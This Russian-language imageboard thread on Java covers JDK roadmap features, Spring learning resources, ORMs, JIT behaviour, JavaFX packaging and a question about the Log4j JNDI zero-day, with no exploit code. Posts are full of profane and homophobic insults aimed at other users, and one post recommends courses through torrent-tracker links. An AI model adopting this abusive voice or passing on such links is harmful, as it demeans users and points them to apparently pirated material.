Программирование

Ответить в тред Ответить в тред
Check this out!
Java #106 thread /java/ Аноним 08/12/21 Срд 11:10:04 22322931
image.png 345Кб, 808x808
808x808
Аноним 08/12/21 Срд 11:11:44 22322962
image.png 170Кб, 421x468
421x468
Мертвый тред умирающей платформы.
Аноним 08/12/21 Срд 11:11:49 22322973
ШАПКА НЕ НУЖНА
Аноним 08/12/21 Срд 11:18:57 22322994
>>2232293 (OP)
Нужно быть душевнобольным хуесосом без малейшей симпатии к программированию, чтобы в 2022 писать на жабе.
Просто сравните джаву с .NET (https://devblogs.microsoft.com/dotnet/announcing-net-6/), который создавался как клон джавы и превратился в прекрасного лебедя
Аноним 08/12/21 Срд 11:20:07 22323025
Теперь в джаве будет встроенный http server. Ну то есть он и раньше был, еще с 2006 года, но им никто не пользовался и вообще он был спрятан на задворках стандартной либы. Зато сейчас его решили немножко обновить его API и сделать на нем консольную утилиту.

https://openjdk.java.net/jeps/408
Аноним 08/12/21 Срд 11:21:57 22323036
>>2232302
Вальгалла когда? Лум когда? Спринг 6 когда? Какой сервер бля?
Аноним 08/12/21 Срд 11:28:09 22323087
>>2232302
Двигаются в правильном направлении.
Аноним 08/12/21 Срд 11:28:58 22323108
image.png 42Кб, 487x301
487x301
>>2232303
>Лум когда

Леха Шипилев говорил осенью, что до лума еще далековато.
К слову, следующий LTS здесь предполагался как 23 версия. Сейчас сроки сократили и LTS должна стать уже 21 версия. Может как раз к 25 версии джавы и завезут полноценно этот лум.

>>2232303
>Вальгалла когда?
А этого никто не знает. Но судя по мейл листам, они там что-то обсуждают, а значит вальгалла не заброшена.

Может быть как раз к 25 версии (через 4 года?) выкатят все их фичи, которые они пилили на протяжении последних 10 лет.
Аноним 08/12/21 Срд 11:29:15 22323119
>>2232303
уже всё данным давно сделано в лучшей жабе
Аноним 08/12/21 Срд 11:31:51 223231410
Чтож, сидим дальше на 8 жабе времен крымнаша и донбасса до 2030 года
08/12/21 Срд 12:01:58 223232611
Ну что, опхуй, понял последствия переката?
Аноним 08/12/21 Срд 12:04:38 223232712
Я - тупая макака, худо-бедно знающая Джаву. Появилась такая задача. У некоторого программного продукта есть REST-Server с описание его REST-api, там куча всевозможных ХТТП-запросов описано, респонзов к ним и как все это парсить. Так вот, нормально ли использовать Java для того чтобы разрабатывать клиент к этому ресту, или есть какие-то более разумные способы с этим работать? Ну и какой фреймворк надо изучать чтоб это решить (какую часть Спринга например).
Аноним 08/12/21 Срд 12:13:26 223233113
Выживаем то бамп лимита
08/12/21 Срд 12:20:07 223233214
>>2232331
Не забывайте постить с сажей.
08/12/21 Срд 12:29:49 223234215
>>2232332
Да, отклеилась в новом треде
Аноним 08/12/21 Срд 12:30:53 223234516
>>2232299
Неплохо, из c# делают перегруженный c++
Аноним 08/12/21 Срд 12:32:35 223234717
В каких РФ конторах платят 300+ джавистам? Реально запрыгнуть на такую зп за 2-3 года спустя вката?
08/12/21 Срд 12:41:40 223235218
>>2232345
Так с++ и сам по себе перегруженный, куда дальше?
08/12/21 Срд 12:42:00 223235319
>>2232347
Предположу, что там, где джависты пишут на скале.
Аноним 08/12/21 Срд 12:58:36 223236420
Аноним 08/12/21 Срд 13:18:28 223237821
Посоветуйте пожалуйста литературу/курсы для автоматизации на жаве.
Аноним 08/12/21 Срд 13:43:58 223239822
>>2232352
Попытка сделать серебряную пулю
Аноним 08/12/21 Срд 14:35:53 223245723
>>2232364
Говорят в го в беке нужно велосипеды писать по сравнению со спрингом.
А чего там нету? Слышал только, что там без орм пишут.
Аноним 08/12/21 Срд 15:40:14 223250424
Гайз, кто шарит. Есть один фронт, который делает запрос к бд, бд отдаёт данные фронту, после чего фронт отправляет те же самые данные на уже другую обработку бэку и бэк отправляет еще раз модифицированные данные фронту. У меня сейчас это всё делается последовательно, а я хочу, чтобы фронт делал запрос - ему присылались сначала одни данные, а потом другие. Как это реализовать можно по-быстрому? Либо где про это почитать?
Аноним 08/12/21 Срд 15:47:40 223250925
>>2232296
Стабильный тред стабильного языка, работа стабильно будет
Аноним 08/12/21 Срд 15:57:46 223251126
>>2232378
Вопрос какой-то идиотский.
Могут быть книги либо по автоматизации, либо по джаве. Читаешь обе темы и связываешь. Любой язык это и есть автоматизация, блять.
Аноним 08/12/21 Срд 15:59:35 223251327
>>2232457
Я и на ждаве без орм пишу. Заебок себя ощущаю. Доходило то того что писал самодельный днище-орм, правда. Когда надоело бомбить базу кучей однотипных круд-запросов
08/12/21 Срд 16:19:29 223252428
Аноним 08/12/21 Срд 16:39:51 223253629
>>2232511
Т9 срезал текст, по автоматизации тестирования, прошу прощения
Аноним 08/12/21 Срд 16:46:29 223254430
>>2232524
Нет, просто пишешь запрос в стрингу, хуяришь из него препаред стейтмент и пушишь на сервак, который в ответ тебе высирает рекорд-сет. Мякотка.
08/12/21 Срд 16:52:40 223255131
>>2232544
Как управляешь пулом соединений?
Аноним 08/12/21 Срд 16:58:33 223256032
>>2232551
Никак. Драйвер и СУБД делают всю эту поебень для тебя (уж не знаю кто там из них рулит процессом, мне не приходилось вникать потому что ни разу с той стороны не появлялось каких-то проблем). Ты просто создаешь коннешкшен и держишь его сколько считаешь нужным, за время его существования ты можешь запустить сколько угодно отдельных транзакций произвольной длины. Можешь хоть на каждую транзакцию создавать новый коннекшен.
Аноним 08/12/21 Срд 17:00:24 223256233
>>2232551
Олсо, если ты про работу одновременно с несколькими соединениями из одного треда или из соседних, то тоже не понимаю в чем там может быть проблема. Коннекшен это отдельный объект и вроде никакого статик-стейта разделяемого там нет, по крайней мере для клиентского кода.
Аноним 08/12/21 Срд 17:14:46 223257234
>>2232364
Ну как? Кто победил?
Аноним 08/12/21 Срд 18:04:45 223261435
>>2232513
Чел, ну причем тут ты. Ты может петы пишешь. Или просто ты единолично принимаешь решения по технологиям. Но в подавляющем большинстве спринговых вакансий есть орм и чаще всего это jpa-орм.
08/12/21 Срд 18:08:01 223261636
>>2232614
И чаще всего это хибер
Аноним 08/12/21 Срд 18:10:17 223261937
>>2232572
Владимир Владимирович
Аноним 08/12/21 Срд 18:16:05 223262938
>>2232310
Почему сраный оракл ебет мозг аудитории этими большими проектами уже 5 лет, но шарящие люди говорят, что еще 5 лет их не стоит ждать?
Зачем эти пидорасы все анонсируют и нихуя не выпускают?
Аноним 08/12/21 Срд 18:19:39 223263239
>>2232614
Ну я про то что это не необходимо.
И это не петы, это моя реальная работа
Аноним 08/12/21 Срд 18:35:14 223265240
Если я пишу
for (...) {
int k = ...;
}

то это будет хуже, чем
int k;
for (...) {
k = ...;
}

из-за того, что каждый раз в цикле будет под переменную память выделяться?
08/12/21 Срд 18:43:12 223266041
>>2232652
Да вы заебали бля, с такими вопросами пиздуйте в кресты, это именно там высирают новые парадигмы, чтобы ускорить говно на 0.00000001%, а здесь это никого ебать не должно.
JIT оптимизирует, и разницы не будет
Аноним 08/12/21 Срд 18:57:32 223266642
>>2232632
чел, все современные языки умеют очень много. И у каждого миллион потенциальных кейсов применения. Так то можно использовать хаскель на беке или делфи. Можно писать на жабке в блокноте. Можно вообще не использовать никаких бд. И все это можно делать в проде. "Необходимо" из-за ограничений языка не так много.
Но ведь нас интересуют типичные случаи. И твой случай с жабой без орм очень не типичен.
Аноним 08/12/21 Срд 19:03:10 223266843
>>2232652
В том виде, что ты высрал, это вообще семантически разные конструкции.
В первом случае это локальная переменная внутреннего скоупа, она будет создаваться и инициализироваться всегда в одном значении - гарантировано.
Во втором ты можешь накапливать в К что-то от цикла к циклу, например внешний индекс для foreach.
Если ты имеешь ввиду, что не стоит ли локальную (по смыслу) переменную скоупа вынести наружу цикла, и вместо ее создания и инициализации просто обнулять в конце каждого цикла, наебав так "выделение памяти", то это хуёво. Во-первых, у тебя все равно остается инструкция по ее обнулению, а во-вторых ты пытаешься программировать через побочные эффекты, а это как правило всегда хуёво, потому что порождает лапшу, которую становится трудно дебажить, исправлять и развивать. ну и в-третьих, этот >>2232660 прав. Крайне трудно что-то выиграть у оптимизатора, который допиливали очень умные дяди 20 лет. Даже если ты начнешь байтодрочить то скорее всего сможешь с ним максимум сравняться, а не выиграть. Как-то раз пытался "оптимизировать" кусок кода который казался довольно вычислительно трудным через битовые сдвиги и булевские битовые операции. В итоге бенчмаркнув все это выяснилось что скорость одинаковая. После того забил на такие попытки.
Аноним 08/12/21 Срд 19:17:03 223267444
>>2232668
>Если ты имеешь ввиду, что не стоит ли локальную (по смыслу) переменную скоупа вынести наружу цикла, и вместо ее создания и инициализации просто обнулять в конце каждого цикла, наебав так "выделение памяти", то это хуёво.
В этом и был мой вопрос. Спасибо.
Аноним 08/12/21 Срд 19:37:16 223268145
Если уж зашло про лоу-лвл, может кто знает, как размещается в память вложенный внутрь метода скоуп? Создается ли например для каждого прохода цикла for свой фрейм на стеке? Если нет, то куда размещаются локальные переменные цикла? Если да, то как обеспечивается видимость переменных out-скоупа?
Аноним 08/12/21 Срд 20:11:56 223269546
Аноним 08/12/21 Срд 20:23:49 223270347
>>2232629
Потому что оракл сам по себе скатился в парашу и делает не продукты, а говно. Далеко ходить не надо - посмотрите на графики выручки гугла (govno), майкрософта (.net) и оракла. Оракл вообще не вырос за последние 10 лет никак. Туда же полудохлая IBM.
А чем больше денег у конторы и чем лучше она развивается, тем вероятнее, что у нее будут лучше продукты.

Аноним 08/12/21 Срд 20:56:17 223272048
image.png 55Кб, 1292x761
1292x761
Перепощу из ньюфага, вы тут джависты, люди серьезные.
Анончики, как проектировать такое в базе? Предположим, есть админка, в которой можно менеджерить кнопки. К каждой кнопке можно добавлять экшены. Но экшены эти могут быть разные (вебхук по определенному урлу, оплата и прочее), соответственно и таблицы с данными могут быть разными.
Аноним 08/12/21 Срд 22:06:07 223275849
>>2232720
У тебя уже нарисовано почти как надо. Каждый Action это какой-то один определенный Action, либо Payment, либо Webhook. Будет один к одному для них связь с Action, по action_id. Он же будет и PK для них, payment_action_id и т.п. не нужны.
Аноним 08/12/21 Срд 22:06:35 223275950
Аноны, что по-вашему мнению перспективнее, бэкенд джавы или в мобильную разработку податься?
Аноним 08/12/21 Срд 22:09:09 223276251
>>2232759
go перспективнее, написали же выше
Аноним 08/12/21 Срд 22:12:55 223276552
Аноним 08/12/21 Срд 22:20:13 223277153
>>2232762
мне из джавы нужно выбрать, кое-что умею по ней уже, и не хочется опять что-то новое учить, нужно хотя бы один язык добить
Аноним 08/12/21 Срд 22:36:15 223277954
>>2232771
Новое придется и там, и там учить. Смотри, что больше хочешь делать
Аноним 08/12/21 Срд 23:14:57 223280155
>>2232759
Тоже на перепутье. Пока что выбрал мобилки, потому что просто интереснее этим заниматься.

В плане перспективности, кмк, разницы нет. В будущем легко можешь свичнуться на бэк, если потребуется. Или уйти в иос, или вообще кроссплатформу делать. Кароче разницы вообще никакой. И там и там работы дофига. В этом случае только по интересу выбирать.
Аноним 09/12/21 Чтв 06:21:25 223287956
>>2232771
Тебе тогда в мойщики автомобилей или кассиры. Программист это одна из наиболее "учёбоемких" профессий. Либо ты учишься постоянно до конца карьеры чему-то, либо будешь червем-пидором на задворках индустрии, поддерживать какое-нибудь Delphi-7 говно на заводе полиэтиленовых стаканчиков с обвисшими обоями и протекающим потолком.
Аноним 09/12/21 Чтв 09:00:35 223290757
>>2232879
Эй, сейчас на заводах почти все ушли от делфи к дотнету
Аноним 09/12/21 Чтв 09:37:06 223293258
>>2232879
Да я другое имел в виду, тип я уже начал немного джаву изучать, и хочу дальше с ней разбираться, а не опять все бросать и изучать новый язык

>>2232801
Спасибо за совет, анончик. Наверное тоже начну с мобилок, так как их наверно уж больше чем компов, будущее за мобилками
Аноним 09/12/21 Чтв 09:42:08 223293659
>>2232801
Вот скажи откуда тебе знать что легко свичнуться из мобилок в веб? Раз на перепутье, значит вкатун. Откуда вкатуну знать такое? Возможно но не легко дауншифтингом заниматься. Это как спуститься с горы сотыг, чтобы снова лезть вверх с уровня джуна.
Аноним 09/12/21 Чтв 10:10:13 223295360
>>2232936
Ему еще предстоит узнать, что на мобилках котлин основной язык уже лет пять и джаву он встретит только в легаси помоях
Аноним 09/12/21 Чтв 11:42:04 223300061
>>2232936
>дауншифтингом
Хотя бы загугли перед употреблением нового слова. Не позорься.
Аноним 09/12/21 Чтв 11:44:34 223300662
Аноним 09/12/21 Чтв 11:51:19 223301763
>>2233006
Что, оскорбили тебя, да? Бедняжечка какая, вы только посмотрите. Как выебываться на вкатуна, так он тут как тут, а как его оскорбляют от делает [пуксреньк]. Умора!

Чем слушать рандом-анона, лучше почитать в интернете уже готовые ответы. Например
https://dook.pro/blog/programming/19-moving-from-android-development-to-java-web-development
https://www.reddit.com/r/java/comments/6zjbwe/going_from_android_developer_to_java_developer/
https://www.reddit.com/r/androiddev/comments/7ntugq/how_relevant_is_android_experience_to_other/
Аноним 09/12/21 Чтв 13:59:05 223312064
image.png 12Кб, 150x270
150x270
>>2232293 (OP)
Подскажите как сделать .exe? Юзается javaFX (и не только), если это важно.
Пробовал разные способы. Но ничего не вышло, кроме как насрать себе в штаны. Пробовал launch4j, который у меня не работает должным образом. После запуска .exe ничего не происходит, разве что прилично начинает грузиться процессор и крутиться колёсико загрузки рядом с курсором мышки. И если не убить процесс то ничего хорошего не последует.

Сам проект на java написан хорошо и протестирован. Всё как надо. В интернете, сами знаете, долбаёбы-советчики засрали тупыми гайдами как насрать себе в штаны.

09/12/21 Чтв 14:12:42 223313365
>>2233120
Никак. Если тебе нужен полноценный исполняемый файл, ты выбрал не тот язык.
Можешь только юзануть jlink, у тебя будет папка с jvm и запускатором твоего жарника.
Ещё есть graalvm, но там не то что javafx - свинг не работает.
Аноним 09/12/21 Чтв 14:24:41 223314666
>>2233120
Это надеюсь ты читал https://openjfx.io/openjfx-docs/
Там слева выбираешь свой случай
Если юзаешь гредл, то с jlink плагином в одну кнопку и инсталлятор и ехе получаются
Аноним 09/12/21 Чтв 14:24:45 223314767
>>2232759
И там и там норм перспективы. Правда в андроиде придется сразу доучивать котлин.
Но ты лучше подумай, что тебе нравится. Большая часть андроида, это отрисовка гуя, то есть тот же фронт, но вид сбоку. А у бека - клепание крудов(запросов в бд) и отгрузка джейсонов на фронт.
Мне тупо фронт не нравится, я выбрал спринг. Но правда пришлось потом выучить основы html/css/js для более-менее вменяемых пет-проектов.
Аноним 09/12/21 Чтв 14:33:13 223315368
Аноним 09/12/21 Чтв 14:49:58 223316569
>>2233153
С билде с javafx основная сложность что его оракл выпилил из своего jdk + создал jpms который нужен для jlink. То есть навали сразу две кучи говна. Рекомендую сначала по ссылке разобраться с билдом хелоу ворлда и только потом ебаться со своим проектом.
Аноним 09/12/21 Чтв 14:52:16 223317070
Мне тут никогда ничего не отвечали про что читать по спрингу, а я поделюсь опытом. Вот мои советы по изучению спринга:
Самое начало: di + mvc. Объяснено очень доходчиво для дебилов.
https://www.youtube.com/watch?v=5ePo08sqcpk&list=PLAma_mKffTOR5o0WNHnY0mTjKxnCgSXrZ
Полноценный курс, преподы вроде шарят, но многие не умеют говорить, так-что кое-что объяснено плохо. Но в плане курса есть все что нужно.
https://nnmclub.to/forum/viewtopic.php?t=1474084
Плохо написано, очень много устаревшего(но в джаве часто придется работать со старыми версиями библиотек). Не советую, но на всякий случай. Тоже охвачено почти все, что нужно новичку, но почти все примеры без бута.
https://rutracker.org/forum/viewtopic.php?t=5694169
Практика. К практике советовал бы переходить, после изучения mvc:
https://www.youtube.com/playlist?list=PLU2ftbIeotGoGSEUf54LQH-DgiQPF2XRO
https://www.youtube.com/playlist?list=PLU2ftbIeotGqSTOVNjT4L3Yfy8jatCdhm
https://rutracker.org/forum/viewtopic.php?t=5640790
Для конкретных вопросов короткие туториалы с хеловордами:
Самая большая подборка всякого говна, не только спринг, очень полезно:
https://www.baeldung.com/
Тоже самое, но по русски и меньше. На этих двух ресурсах начинал учить хибер:
https://easyjava.ru/
https://sysout.ru/
Ну и гайды доки само собой:
https://spring.io/guides

Натыкался на другие места. Но зашли эти. Везде можно скачать код. Или с гита или архивом.
Аноним 09/12/21 Чтв 15:33:40 223319471
Сейчас заметил что у меня в проекте есть класс с пятью приватными полями,поля не final. Над классом стоит аннотация Data. Почему я могу создать объект этого класса через хттп запрос? Конструктора то нет,а дата генерит конструктор только для private final полей
09/12/21 Чтв 16:15:38 223322772
>>2233194
Да уж, загадка века.
Аноним 09/12/21 Чтв 17:01:21 223325973
>>2233147
Спасибо анон, обдумаю все, сейчас разработчик Bi, но думаю перекатываться, а то как-то уныло здесь
09/12/21 Чтв 17:52:32 223330374
>>2233194
Data генерит RequiredArgsConstructor. А RequiredArgs генерит конструктор для final и NonNull полей. Тк таких не имеется, должен сгенериться пустой конструктор
в идее есть деломбок
Аноним 09/12/21 Чтв 18:15:41 223332975
>>2232293 (OP)
>шапка в гит-репе
мое уважение, хоть кто-то в этой помойке с мозгами.
Аноним 09/12/21 Чтв 19:54:26 223340876
>>2232509
> работа стабильно будет
Так и на заводике стабильно будет. Че в 2021 мало языков, на которых можно найти работу? Наоборот джава настолько древнее и тупое говно, что в скором времени все сайты начнут потихоньку перепиливать и через лет 15 будешь бомжевать. Не думаешь же ты всерьез что на этом говне легаси просуществует еще хотя бы 20 лет
Аноним 09/12/21 Чтв 19:56:46 223341177
>>2233408
И если это единственный фактор - или в джаваскрипт, вот уж что точно не вымрет за сотню лет
Аноним 09/12/21 Чтв 19:59:53 223341578
Ну шо, кто уже пробовал Fleet? Есть возможность переехать с идеи туда?
09/12/21 Чтв 20:00:45 223341679
Аноним 09/12/21 Чтв 20:09:14 223341980
>>2233408
>жава
>сайты
Вы конечно очень компетентны в обсуждаемом вопросе, и вас стоит послушать...
09/12/21 Чтв 20:18:08 223342181
>>2233416
Так идея тормозит на 32 гига @ i7 @ SSD
Аноним 09/12/21 Чтв 20:27:29 223342682
>>2233421
И поэтому у тебя 2 гига, селерон, HDD
Ведь если результат одинаков, то зачем платить больше!
Аноним 09/12/21 Чтв 20:29:08 223343083
>>2233426
> 2 гига @ селерон @ HDD
Там идея тупо не запускается, проверено.
09/12/21 Чтв 20:31:26 223343284
>>2233421
Во fleet та же идея, только либо у тебя (и так же не запускается), либо на сервере у китайцев, которые воруют твой код, и при этом любое действие в редакторе имеет задержку ~500мс.
Аноним 09/12/21 Чтв 20:34:08 223343785
>>2233430
Ну хуй тебя знает, в инторнетах каждый горазд пиздеть. Вдруг у тебя в винде поломались обновляения и винда постоянно их качает и шуршит диском. Или ты пямять неудачно воткнул в слоты. Иди ссд пошел по пизде уже. Да мало ли чо, а ты винишь идею.
09/12/21 Чтв 20:41:20 223344086
>>2233437
А что ещё винить, если всё летает, игры играются на максималках, браузер с 50 вкладками запускается мгновенно, а идея не может переварить даже хеллоуворлд на спрингбуте.
Аноним 09/12/21 Чтв 20:46:56 223344387
>>2233440
нетхак запускается на максималках, интернет эксплорер 7 с 50 вкладками запускается мгновенно...
Аноним 09/12/21 Чтв 20:50:34 223344788
>>2233443
Да, охуенно сидеть на xp в 2021.
Аноним 09/12/21 Чтв 21:22:08 223347589
А где этот ваш CS поучить можно на базовом уровне?
09/12/21 Чтв 21:23:32 223347690
Аноним 09/12/21 Чтв 21:29:32 223347891
У кого нибудь итт была зп 300-500к или это всё сказки?
Аноним 09/12/21 Чтв 23:15:17 223357592
>>2233408
>в скором времени все сайты начнут потихоньку перепиливать
Слышу это уже наверное лет 15, если не больше...
Аноним 09/12/21 Чтв 23:19:19 223358293
Oh shit I m sorry
Пропустил выпуск 17 лтс.
1) То есть сейчас по умолчанию все классы имеют strictfp? Это не уменьшило точность вычислений?
2) Какой сейчас новый рандом юзать в обычных случаях? Или оставаться на ThreadLocalRandom.current()
Аноним 09/12/21 Чтв 23:31:42 223359594
>>2233478
С 500 может и сложнее, а 300 это сейчас что-то вроде нижней границы для сеньора, так что определенно была
Аноним 10/12/21 Птн 00:33:23 223363995
1518448575820.jpg 123Кб, 599x733
599x733
>>2233170
Спасибо, схоронил. Как раз курс Алишева досмотрел и не знал что дальше делать.
Аноним 10/12/21 Птн 00:41:42 223364296
Аноним 10/12/21 Птн 01:48:45 223366297
>>2233421
8 гб, кора дуба, внешний хдд, всё работает
Аноним 10/12/21 Птн 02:08:45 223366598
Аноним 10/12/21 Птн 02:36:29 223367099
>>2233665
первый плейлист практики с фронтом на шаблонизаторе.
https://www.youtube.com/playlist?list=PLU2ftbIeotGoGSEUf54LQH-DgiQPF2XRO
Самое оно тебе сейчас заточить. На шаблонизаторе не советовал бы заострять внимание, просто повторяй за челиком. Ну и то что не понимаешь спринг дату, спринг бут и прочее тоже ничего страшного, повторяй за ютубером, крути, верти. Потом теорию, потрогав это в режиме магии проходить будет легче.
Аноним 10/12/21 Птн 05:41:40 2233680100
>>2233670
>>2233642
Начинал это смотреть. В сравнении с Алишевым выбесило что он вообще ничего не говорит что делает зато у Алишева бесит что он одно и то же может повторять три раза и рассказывает даже то что и собаке понятно, в итоге как показалось все часы его видео не дают и 5% объема нужных знаний, просто копипастит из спринг мануала или набивает со словами "забейте, пока понимать ниче не надо, ваше дело увидеть что все работает, потом разберемся по ходу". Может конечно я ровно 3 минуты не дошел до того места где наконец начнет хоть что-то поясняться, но пока дропнул до лучших времен этот плейлист.
мимо-другой-вкатыш
Аноним 10/12/21 Птн 07:17:04 2233695101
Кто-нибудь Скалу в реальной жизни щупал (особенно 3-ю версию)?
Я на курсере уже парочку "официальных" курсов прошел и насколько же это приятный язык. Лаконичный стиль и вся встроенная библиотека работает без сюрпризов.
Аноним 10/12/21 Птн 08:38:20 2233705102
Аноним 10/12/21 Птн 10:52:58 2233764103
https://www.lunasec.io/docs/blog/log4j-zero-day/

Че за хуйня? Почему какой-то логгер не просто выводит информацию в лог-файл или консоль, а еще дополнительно скачивает классы с байткодом из интернета? Нахуя так придумано?
Зачем и кому вообще нужен этот jndi и удаленный запуск чужого байткода?
10/12/21 Птн 10:59:36 2233769104
>>2232703
Вот только в Джаву вкладывается еще куча компаний. И РедХат, и Гугл, и даже сам Майкрософт. А у дотнета нет такого большого списка контрибуторов.
Аноним 10/12/21 Птн 11:05:47 2233772105
image.png 53Кб, 1423x579
1423x579
>>2233769
Вот только редхат (теперь уже часть IBM) падает вниз вместе с самим IBM. А оркал вообще не растет.
Для гугла и MS, джава, очевидно, не самая приоритетная платформа на сегодняшний день.
Аноним 10/12/21 Птн 11:10:37 2233775106
Вообще судьба оракла, наверное, будет печальной.
Сейчас почти везде уходят с Oracle DB и MySQL на Postgres, их клауд платформа популярной так и не стала - AWS и GCP тут лидеры, на джаву они почему-то решили забить, а что еще они делают? ИМХО, их БД была топом в 90-е и нулевые, на нее всякие банки и энтерпрайзы перешли, но сейчас те времена закончились, буквально везде и у каждого стоит postgres.
Аноним 10/12/21 Птн 11:24:13 2233785107
Screenshot from[...].png 232Кб, 1920x1080
1920x1080
>>2233772
IBM вообще сдох сейчас, считайте можно поминки собирать. Оракл как-то пытается в рост, но получается так себе.
Гугл и МС, конечно, нихуево так выросли за последние годы.
10/12/21 Птн 11:26:16 2233789108
image.png 62Кб, 941x750
941x750
image.png 231Кб, 1666x1070
1666x1070
>>2233772
>2k21
>Оценивать прибыль по капитализации
Но даже если Мелкософт прибыльная компания, это не значит что они будут массово вбухивать деньги в дотнет. Они давно ушли от стратегии обязательно разрабатывать свой велосипед. Вон похоронили свой EdgeHTML в пользу Хрома, сейчас активно развивают питон и WSL. Так что далеко не факт, что они будут вкладывать сильно много в дотнет. У них сейчас главную прибыть облако генерирует, а там дотнет не особо нужен.



Гугл стабильно в топ3 контрибуторов. У них джава основной язык для написания бекенда не веришь, приди к ним на интервью и спроси сам
10/12/21 Птн 11:27:44 2233790109
>>2233772
Кстати еще у Амазона основной язык тоже джава.
Аноним 10/12/21 Птн 11:28:02 2233791110
>>2233785
>IBM вообще сдох сейчас
Они с гитлером торговали кстати. Счетные машины для учета семитов.
Аноним 10/12/21 Птн 11:32:10 2233792111
>>2233789
Один хуй основной контрибьютор Оракл, все остальные по мелочи в сравнении с ним. Оракл погибает => погибает и джава.

У гугла много всего было написано на джаве, да, даже включая фронтенд GWT. Сейчас они в пользу С++ и гоуленга отказались от жабы.

>>2233790
Да, и у нетфликса тоже, но не забывай, что hystrix и все что с ним связано, уже как пару лет депрекейтнули, на чем сейчас там пишут - не в курсе.
Но факт остается фактом, что JVM как платформа начала конкретно загибаться.
Аноним 10/12/21 Птн 11:44:01 2233800112
>>2233792
К тому времени пхп станет жавой, со знаком доллара перед переменной, что символизирует изменчивость гешефта...
Аноним 10/12/21 Птн 11:46:30 2233802113
>>2233800
PHP, Java, .NET - это все уже уходящая эпоха. Ну может дотнет поболтается еще несколько лет и отправится в историю вместе с джавой, как это уже происходило с делфи.

Сейчас на беке будет golang, node.js и python, ибо микросервисы, быстрый старт, малый оверхед по памяти.
10/12/21 Птн 11:47:12 2233803114
>>2233792
>Один хуй основной контрибьютор Оракл, все остальные по мелочи в сравнении с ним. Оракл погибает => погибает и джава.
А у ГОвна основной контрибутор Гугл, а уж как Гугл умеет хоронить проекты мы все знаем. А у Питона вообще не было такого контрибутора до недавнего времени и тем не менее он очень неплохо развивался.


>Сейчас они в пользу С++ и гоуленга отказались от жабы.
На С++ только системные вещи пишутся типа баз данных и файловых систем. Бизнес приложения на жабке. А вот Говна они похоже наелись ни ООП нормального, ни функционально подхода в полный рост.

>Но факт остается фактом, что JVM как платформа начала конкретно загибаться.
Про это уже лет 10 пишут. И все аргументы из серии а вот сисярпе ууу, а вот в питоне ааа. Если тебе каждый год не вбухивают тонны сахара в язык, это не заначит что он мертв.
Аноним 10/12/21 Птн 11:54:05 2233813115
>>2233792
Не будет микросервисов ибо они все велосипеды, а велосипеды способны только большие компании содержать. Посмотрят кабаны, когда велосипеды станут вонючим легаси, что их никто не хочет поддерживать и разочаруются и вернутся на жирные фреймворки для новых проектов. Да будет так...
Аноним 10/12/21 Птн 11:58:00 2233817116
>>2233803
>Если тебе каждый год не вбухивают тонны сахара в язык, это не заначит что он мертв
Так с Java 8 все развитие остановилось по факту. Ну да, там новый свитч, паттерн матчинг, можно удобно писать большие строки, реактивные стримы, foreign memory access, шенандоа ГЦ, но ведь это все хуйня, нет? ЛУМА нет. ВАЛЬХАЛЛЫ нет. И когда они будут? Это самые важные нововведения в жабе, которые должны были быть уже 17 lts версии.

>>2233813
Но тем не менее на микросервисах стали писать уже на жабе. И вообще сейчас все стартуют на микросервисах. А то, что весь этот набор сервисов и костылей из говна и палок превратится в тяжело поддерживаемое легаси - никого не ебет, просто сдохнет один стартап или умрет продукт в какой-нибудь большой конторе, всем тотально похуй. Как будто бы большая часть продуктов реально приносит прибыль, а не просто создана для сбора инвестиций от всяких кабанов, которым лишь бы деньги куда-нибудь запихнуть.
Аноним 10/12/21 Птн 11:58:41 2233819117
Аноним 10/12/21 Птн 12:05:56 2233826118
>>2233817
Может они боятся что эти крупные проекты все сломают нахер, как получилось с ненужным джигсау.
Аноним 10/12/21 Птн 12:42:27 2233842119
Хочу протестировать делит метод. Есть заготовленный лист с двумя адресами,хочу при вызове сервис.удалитьАдрес() удалять из листа.
Конструкция
when(addressService.deleteAddress(address).then(addressList.remove(address))

Шлет меня нахуй по понятным причинам,как провернуть такой тест? Или же как лучше тестировать делит метод сервиса
10/12/21 Птн 12:50:32 2233849120
>>2233842
Если ты тестируешь deleteAddress у сервиса, то тебе не нужно его мокать. Мокать нужно то, что вызывается в этом методе, но сам метод должен быть настоящим
Аноним 10/12/21 Птн 12:52:12 2233851121
>>2233849
Звучит разумно,как это реализовать подскажите пожалуйста
Аноним 10/12/21 Птн 13:07:40 2233863122
>>2233575
15 лет назад ясен хуй было еще рано, еще лет 7 и ПОЧАЛОСЯ
Аноним 10/12/21 Птн 13:12:00 2233868123
>>2233849
То есть вместо

@Mock
Service

Делать

@Autowired
Service
???

мимо вкатыш
Аноним 10/12/21 Птн 13:28:46 2233893124
Третьего дня, по совету проверенных камрадов, приобрёл подписку в онлайн школе программирования — «Javarush». Сразу же, задыхаясь от жадности, открыл сайт и прочитал первую лекцию. Информативность, моё почтение. Настоящие гении писали эти сценарии к лециям. Даже моя, привыкшая к суровым игровым будням, голова, отказывалась всё понимать с первого раза. Совместными с вкатывальщиками в комментах усилиями забороли лекцию. Ощущения — АТАС. С выигранной каткой в доте не идёт ни в какое сравнение. Кроме того, ЧСВ приятно начинает подниматься. Прокодил так весь день. Решительно готов к вкату в ИТ.
Многие вкаиывальщики увидят тут проявления слабохарактерности. Тупым детям невдомёк, что учиться самостоятельно и на курсах — это разные вещи.
Сайт отличный, всем рекомендую к приобретению.
Всё это, как водится, реклама.
10/12/21 Птн 13:31:26 2233894125
>>2233817
>foreign memory access, шенандоа ГЦ, но ведь это все хуйня, нет?
Нет не хуйня, для хайлоода это важные вещи. То что раньше ручками в offheap ByteBuffer складывали или через Unsafe хакали - теперь делается через нормальный API, с поддержкой JIT и типобезопасности. ZGC показывает отличный перфоманс на огромных хипах. Векторное API добавили. Плюс там есть внутренний рефакторин, типа тех же сокетов. Граль уже более стабильный, мы в конторе уже начинаем тесты нативных сборок.


>ЛУМА нет. ВАЛЬХАЛЛЫ нет. И когда они будут?
Да нет, но тут нужно сделать так чтобы не поломать нахер все. Они сами себя загнали в ловушку с этими релизами каждые пол года. Если бы остановили разработку других фич и все силы на Лум бросили, то наверное и за год бы сделали. Но когда у тебя постоянно добавляются новые фичи в GC, очень сложно делать такие вещи как Лум или Вальгала.
Можно подумать что в дотнет какие-то глобальные фичи добавляются каждый день. Если посмотреть What's new in .NET https://docs.microsoft.com/en-us/dotnet/core/whats-new/dotnet-6 - там сплошь новый сахар для сисярпа и всякая мелоч типа тут улучшили перфоманс, тут у нас новый кодген, а в некоторых релизах вообще только сахар и никаких изменений в рантайме.
